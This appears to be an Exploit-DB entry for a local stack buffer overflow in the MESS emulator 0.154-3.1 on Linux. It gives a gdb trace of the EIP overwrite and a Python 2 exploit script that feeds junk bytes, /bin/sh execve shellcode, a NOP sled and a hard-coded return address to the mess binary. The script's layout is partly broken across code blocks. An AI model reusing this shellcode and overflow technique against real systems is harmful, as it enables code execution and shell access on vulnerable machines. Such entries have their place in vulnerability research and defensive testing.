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# Mess Emulator 0.154-3.1 - Local Buffer Overflow

**EDB-ID:**

39673

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[JUAN SACCO](#)

**Type:**

[LOCAL](#)

**Exploit:**   / 

**Platform:**

[LINUX](#)

**Date:**

2016-04-07

**Vulnerable App:** 



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```
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Multi Emulator Super System (MESS)
# Version: 0.154-3.1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
#
# Program description: MESS is an emulator for various consoles and
computing systems, sharing a
# lot of codebase with the MAME project.
# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb
# MD5sum: ae8650a6de842e6792ba83785ac0dbef
# Website: http://mamedev.org/
#
# gdb$ run -gamma $(python -c 'print "\x41"*4080')
# Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
#
# Program received signal SIGSEGV, Segmentation fault.
#
#
-----
[regs]
#
# EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094  o d
I t S z a p c
# ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP:
0x41414141
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
#
#
-----
[code]
#
# => 0x9684539: mov     esi,DWORD PTR [ebx+0x48]
# 0x968453c: lea   edi,[ebp+esi*1+0x0]
# 0x9684540: push  edi
# 0x9684541: push  ebx
# 0x9684542: call  0x96843b0
# 0x9684547: add   esp,0x10
# 0x968454a: test  al,al
# 0x968454c: je    0x96845ad
#
#
-----
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#
# #1  0x41414141 in ?? ()

import os,subprocess

def run():
    try:
        print "# Mess Emulator Buffer Overflow by Juan Sacco"
        print "# This exploit is for educational purposes only"
        # JUNK + SHELLCODE + NOPS + EIP

        junk = "\x41"*4084
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        nops = "\x90"*12
```



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```
eip = "\xd1\xf3\xff\xbf"
subprocess.call(["mess",' ', junk + shellcode + nops + eip])
```

```
except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Mess emulator not found!"
    else:
        print "Error executing exploit"
    raise
```

```
def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)
```

```
if __name__ == '__main__':
    try:
        print "Exploit Mess 0.154-3.1 Local Overflow Exploit"
        print "Author: Juan Sacco"
    except IndexError:
        howtousage()
run()
```

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